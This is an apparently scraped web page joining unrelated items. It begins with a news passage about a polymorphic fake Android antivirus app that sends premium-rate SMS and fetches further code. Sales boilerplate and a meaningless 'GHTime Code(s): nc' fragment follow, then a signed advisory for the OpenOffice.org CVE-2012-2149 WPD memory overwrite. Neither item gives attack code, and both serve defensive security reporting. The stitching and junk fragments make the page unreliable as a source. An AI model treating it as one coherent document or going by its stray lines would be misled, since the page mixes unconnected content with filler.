Clicking on the proffered Twitter link takes users to a Russian-language Web page–hosted in the Ukraine–that advertises numerous products, including fake updates for Opera and Skype, as well as an “Anit-Virus Scanner.” [sic] “Users who accessed and used this purported scanner are then given the option to download and install a file, which [varies] depending on whether the target is a PC or a phone,” said GFI Labs researcher Jovi Umawing in a blog post. Interestingly, the PC version–delivered as a Java archive file–will fail to execute. But the APK (Android application package) version will install on an Android device. The application’s Android icon, meanwhile, was copied from security firm Kaspersky.

Many security tools will have difficulty spotting the malicious APK file. According to Bulgarian antivirus researcher Vesselin Bontchev at FRISK Software, “the fake AV file is actually server-side polymorphic.” Polymorphic malware is designed to change every time it gets downloaded, which generates malware with identical attack capabilities but different fingerprints. That makes spotting the malware more difficult for signature-based security defenses.

“If you download it several times in a row, you’ll get different APK files,” said Bontchev. He said it’s also likely that the malware developer is updating the attack code every few days to make the malware more difficult to spot.

What’s the purpose of the Anit-Virus Scanner malware? As with most online attacks, blame the software on criminals trying to make a fast buck (or in this case, ruble). “If you went ahead and installed the app onto your mobile, it would attempt to send expensive SMS messages to premium rate services,” read a blog post from Graham Cluley, senior technology consultant at Sophos, who has also been studying the malware.

As with most malware, the fake antivirus scanner also has the ability to download and install further code from the Internet onto your Android smartphone, thus potentially allowing attackers to exploit devices, or the data they store, in numerous other ways.

Security information and event monitoring technology has been available for years, but the information can be hard to mine. In our SIEM Success report, we provide a step-by-step guide to make the most of your SIEM system. (Free registration required.)

Contact Us for more informations.
Want a FREE No Obligation Price Quote?

GHTime Code(s): nc 

Return to top

OpenOffice.org Memory Overwrite Vulnerability

 Topic:
OpenOffice.org Memory Overwrite Vulnerability
 Credit:
Kestutis Gudinavicius
 Date:
2012.05.17
 CWE:
N/A
 CVE:
CVE-2012-2149 (Show details)

Use CVE to see details like:
- CVSS2,
- Affected Software,
- References


—–BEGIN PGP SIGNED MESSAGE—–
Hash: SHA512

CVE-2012-2149 OpenOffice.org memory overwrite vulnerability

Reference: http://www.openoffice.org/security/cves/CVE-2012-2149.html

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:

OpenOffice.org 3.3 and 3.4 Beta, on all platforms.
Earlier versions may be also affected.

Description:

Effected versions of OpenOffice.org use a customized libwpd that has a
memory overwrite vulnerability that could be exploited by a specially
crafted Wordperfect WPD-format document, potentially leading to
arbitrary-code execution at application user privilege level.

Mitigation

OpenOffice.org 3.3.0 and 3.4 beta users are advised to upgrade to
Apache OpenOffice 3.4, where WPD files are ignored. Users who are
unable to upgrade immediately should be cautious when opening
untrusted WPD documents.

Credits

The Apache OpenOffice Security Team acknowledges Kestutis Gudinavicius
of SEC Consult Unternehmensberatung GmbH as the discoverer of this flaw.
—–BEGIN PGP SIGNATURE—–
Version: GnuPG v1.4.11 (GNU/Linux)

iQIcBAEBCgAGBQJPs8AeAAoJEGFAoYdHzLzHpw4P/3hRQxaIre8XARxy9JiT+HX3
xCFp+ksNHQBlCf7KUDhy0uz5KFzzrPHKoJCVTXBmMz2CErsIJs5rf4ePZhdj2V96
z87qKRojEbeWQGw1lIfXWnytnk1GpPoSb51vhu20J2g4K0IUCor8LTWisVeeVhFu
TlEaNLreQHn+0fVCdYnCWenWzFqJfWvxcUXi3OSysT7+fAacF63ZayuFhGT6WygP
QXdW8fwhwAnFvwcBU4aSVX0tEpbAvQoZGw4EwlU0Osz6DHhJmlH9BYtsvAGX0amh
6Ow/Rg8J1dOicX7W7+bGcgIeNkBalbbiKrMJ2l5SEBhOkFEi0vOJZwDBqceHDDvC
wXYXAIyLqjyd7uyBslnAPqAVoAt3s4ZpAEHKPXSOpWBe4U6idcFNSM2QOj+IEbic
BROlOFXhJnRi69bowISAXdm6bKX/hvFhu9YhbmEfOE2sczp2FfGZ27W80QAboFG+
tfT9a6KmA3pDeh9OPkxABmjhhisPHuP9oSuz0xOiGjcR2A/d7DCtnEQUeLzTV7WI
wtgrlqkJhezNs7JVDcCEm0qXxAUJVTx9KCYvHPFR3IiuKgZba9Keu88wZs9yd/9f
cKSHOSDj2SZ4f4J3lM+llF/z0zjP/hmaQJgKTNsiaO3xl5AzORXMVH25fn4s9UCk
685l8u67flHuv0Iq+m35
=6F6B
—–END PGP SIGNATURE—–

References:

[ ASCII VERSION ]

Contact Us for more informations.
Want a FREE No Obligation Price Quote?

GHTime Code(s): nc 

Return to top